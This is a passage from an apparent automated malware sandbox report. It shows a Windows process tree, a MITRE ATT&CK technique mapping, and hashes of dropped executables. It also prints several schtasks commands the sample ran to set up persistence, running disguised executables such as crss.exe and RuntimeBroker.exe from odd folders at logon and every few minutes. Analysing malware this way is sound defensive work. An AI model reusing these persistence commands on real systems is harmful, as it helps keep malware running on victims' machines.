                                                                                                                                                                                                      PID:4992
                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:5108
                                                                                                                                                                                                      • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                                                                        "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:2312
                                                                                                                                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:1696
                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:2208
                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:2548
                                                                                                                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:2844
                                                                                                                                                                                                                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
                                                                                                                                                                                                                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:2276
                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:1656
                                                                                                                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:4312
                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:4744
                                                                                                                                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                          PID:4264
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "crssc" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\My Documents\crss.exe'" /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:6900
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "crss" /sc ONLOGON /tr "'C:\Users\Admin\My Documents\crss.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:6884
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "crssc" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\My Documents\crss.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:6860
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "crssc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft\Edge\crss.exe'" /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8152
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "crss" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\crss.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8128
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "crssc" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft\Edge\crss.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8108
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\sihost.exe'" /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8096
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\Default User\sihost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8080
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\sihost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8068
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\fontdrvhost.exe'" /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8048
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8032
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\fontdrvhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:8012
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Program Files\Uninstall Information\RuntimeBroker.exe'" /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:7956
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:7932
                                                                                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                            schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files\Uninstall Information\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                            PID:7896
                                                                                                                                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:5648
                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                            PID:8452
                                                                                                                                                                                                                          • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                            C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:9028
                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:692
                                                                                                                                                                                                                              • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                                                                                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                PID:5212
                                                                                                                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                PID:8236
                                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 468 -p 8876 -ip 8876
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                  PID:8056
                                                                                                                                                                                                                              • C:\Windows\ImmersiveControlPanel\SystemSettings.exe
                                                                                                                                                                                                                                "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                PID:7752
                                                                                                                                                                                                                              • C:\Windows\system32\ApplicationFrameHost.exe
                                                                                                                                                                                                                                C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:7736
                                                                                                                                                                                                                                • C:\Windows\System32\smartscreen.exe
                                                                                                                                                                                                                                  C:\Windows\System32\smartscreen.exe -Embedding
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:9192
                                                                                                                                                                                                                                  • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:7988

                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                                                                    Resource Development

                                                                                                                                                                                                                                    Initial Access

                                                                                                                                                                                                                                    Execution

                                                                                                                                                                                                                                    Command and Scripting Interpreter

                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                    T1059

                                                                                                                                                                                                                                    PowerShell

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1059.001

                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                                    System Services

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1569

                                                                                                                                                                                                                                    Service Execution

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1569.002

                                                                                                                                                                                                                                    Persistence

                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                                    Winlogon Helper DLL

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1547.004

                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1546

                                                                                                                                                                                                                                    Netsh Helper DLL

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1546.007

                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                                    Winlogon Helper DLL

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1547.004

                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1546

                                                                                                                                                                                                                                    Netsh Helper DLL

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1546.007

                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                                                                    Impair Defenses

                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                    T1562

                                                                                                                                                                                                                                    Indicator Removal

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1070

                                                                                                                                                                                                                                    Clear Windows Event Logs

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1070.001

                                                                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                    T1112

                                                                                                                                                                                                                                    Obfuscated Files or Information

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1027

                                                                                                                                                                                                                                    Command Obfuscation

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1027.010

                                                                                                                                                                                                                                    Credential Access

                                                                                                                                                                                                                                    Credentials from Password Stores

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1555

                                                                                                                                                                                                                                    Credentials from Web Browsers

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1555.003

                                                                                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                    T1552

                                                                                                                                                                                                                                    Credentials In Files

                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                    T1552.001

                                                                                                                                                                                                                                    Discovery

                                                                                                                                                                                                                                    Browser Information Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1217

                                                                                                                                                                                                                                    Network Service Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1046

                                                                                                                                                                                                                                    Peripheral Device Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1120

                                                                                                                                                                                                                                    Process Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1057

                                                                                                                                                                                                                                    Query Registry

                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                    T1012

                                                                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                                                                    8
                                                                                                                                                                                                                                    T1082

                                                                                                                                                                                                                                    System Location Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1614

                                                                                                                                                                                                                                    System Language Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1614.001

                                                                                                                                                                                                                                    System Network Configuration Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1016

                                                                                                                                                                                                                                    Wi-Fi Discovery

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1016.002

                                                                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                                                                    Collection

                                                                                                                                                                                                                                    Clipboard Data

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1115

                                                                                                                                                                                                                                    Data from Local System

                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                    T1005

                                                                                                                                                                                                                                    Command and Control

                                                                                                                                                                                                                                    Web Service

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1102

                                                                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                                                                    Impact

                                                                                                                                                                                                                                    Service Stop

                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                    T1489

                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                    • C:\ProgramData\Microsoft\based.exe
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      eb403cb00f9933be9763ef5e1e8ebf7f

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      32eed3e6dde8d4c879773052d64b86d5fa2be85a

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      bfd942b929f0d2f3c61085507e01cb77d87cf5fbd8fc0cac9903487f4e071dbc

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      0a4f921eb4486992273d7ebe857efafe24132d226f735ad3f984b389d6b3d347e32a838a6f1dcacdd9297b78ed41204a4a8bc49cf79c3757ec3ead304625db98

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\ProgramData\Microsoft\hacn.exe
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      27.3MB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      b88f1340f5934f4e81a06b322cecae5c

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      6b6d63fec4546ecde4eee6e710f0845fd84a19cf

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      1f0a70334fb3a63b9c70cdfe01c012829cc380970cd6b12936f22d44e3c0e388

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      80135012e70e24ba2aace76661900d95a2dceea2d5ecc184f7632df90f2b9153413806af9c2db2955abb852d908af34fc1a0f79c3ed2bcc09a17bbf79a86065c

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\ProgramData\crss.exe
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      12.9MB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      af7c523acfdfc98b945b8092170a5fd3

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      cc8131cdbaeceaa28a757f8289077d3214938176

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      cd4ebc4942faf22d6b41d8d0d41aad0570807e7dc484f35010a903caa5a1adb7

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      3dd365665594fddb3e64e3ef3af25ae858538522f2ca61706d0708ca927230f54da23088e578b3ccc11c3f10a8498647b1d701769944fdd17690d2f239777acf

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\ProgramData\main.exe
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      5.6MB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      3d3c49dd5d13a242b436e0a065cd6837

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      e38a773ffa08452c449ca5a880d89cfad24b6f1b

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\ProgramData\setup.exe
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      5.4MB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      1274cbcd6329098f79a3be6d76ab8b97

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      53c870d62dcd6154052445dc03888cdc6cffd370

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      bbe5544c408a6eb95dd9980c61a63c4ebc8ccbeecade4de4fae8332361e27278

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      a0febbd4915791d3c32531fb3cf177ee288dd80ce1c8a1e71fa9ad59a4ebddeef69b6be7f3d19e687b96dc59c8a8fa80afff8378a71431c3133f361b28e0d967

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\ProgramData\svchost.exe
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      3.9MB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      45c59202dce8ed255b4dbd8ba74c630f

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      60872781ed51d9bc22a36943da5f7be42c304130

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      d07c47f759245d34a5b94786637c3d2424c7e3f3dea3d738d95bf4721dbf3b16

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      fff5b16ae38681ed56782c0f0423560dab45065685d7272424206f43c80486318180aa22d66bd197c8c530e4c24dbaaaa020beb76b619dc767ee59faa27e23ed

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\ProgramData\шева.txt
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      13B

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      17bcf11dc5f1fa6c48a1a856a72f1119

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      873ec0cbd312762df3510b8cccf260dc0a23d709

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      a7bf504871a46343c2feab9d923e01b9dca4e980b2e122ad55fd4dbb3f6c16d9

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      9c12db4c6a105e767ff27048d2f8f19de5c9721ce6503dbb497aedcc1fc8b910a6fa43ec987fecd26794aff7440cb984744698fec5741dd73400a299dc3b2a25

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\NxNOap5dEp.bat
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      232B

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      009b77186245514bf5d6b9c118c9233b

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      edf1efe6567052f3cb7319b3e6340b061083b69c

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      970acca6ab29b34b6f2e24253449eeb9dca191ee4978ee3eb9cb879986051a0c

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      9beb7218ff4575c39664106706e649ba2a17d08508e48bc59399b7adccabf7d671256110b17b4f6d7d0411a131b6d60fa3a9196d011fa7c3fdedfcfbe24185b7

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI11162\_bz2.pyd
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      47KB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      660b720f9ea9b2147950907b668bddb3

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      7787536d537c37fbf34212e762bcadfd68518325

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      e48ea048863dfad2f49516aa18f4849c4884dade662f186481b7079f05175a41

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      6512f3488f1acab7bcc24f4619c8b9020b5daf9d773d25a879451530b346cde6de02ac760aa911411141f4974c42987975f3e2e3c19d8b40648e0d3a27d01d83

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI11162\_ctypes.pyd
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      58KB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      6264fbf113dc0944e28e978515c6fb5a

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      dfa96a8fef6a62da78077a796ca4a6a88b4d58e6

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      5d0f7be141b8c262630e6bf1bb28a1aed249d999269c4a69921fb8d0074745fa

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      8bc5d21b137680335c240f86464a3d5630b81a272ba3669f5a1c5e9426fa2b1c71f557848ef7d6e7b423e37c8037a14b69e388f09c980f4001ba0fcc0320e76a

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI11162\_hashlib.pyd
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      35KB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      5cd9dd4168f69b0ff563a07867ac43c5

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      3d64b3545edae1f3a2793e5fbe16f8608817a441

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      70fe90dbddec27f62ffd79f16ec7cade3c2e4f5df0314b1eebd3b97d47cd0aee

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      68a189084eab6d8f6f71230b1623bdf94a69ed53bd27072a1698d5ccd2f42b2b42d70d561997596ff62f07ff1656aec437cc6153892ca149b919505b5e6c7a9e

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI11162\_lzma.pyd
                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                      85KB

                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                      3d4ab85496d3f61725b29dfa5d703808

                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                      8ed99cd413ea318bab7c6817401113159ed1e2cd

                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                      0fef85d84e9879fef79905974d8d0cdd6d31761291bf3fa11af11a8522b8c75c

                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                      d166d209a665e084424ea7fd59eba5280174e3d9aaca1f5002b16c1d658a40e2f1045dcba30028656b772f6dd30d7cb94f4dcb2d1f70198f2b2273988e1921b1

                                                                                                                                                                                                                                      Download Submit

                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI11162\_queue.pyd
                                                                                                                                                                                                                                      Filesize

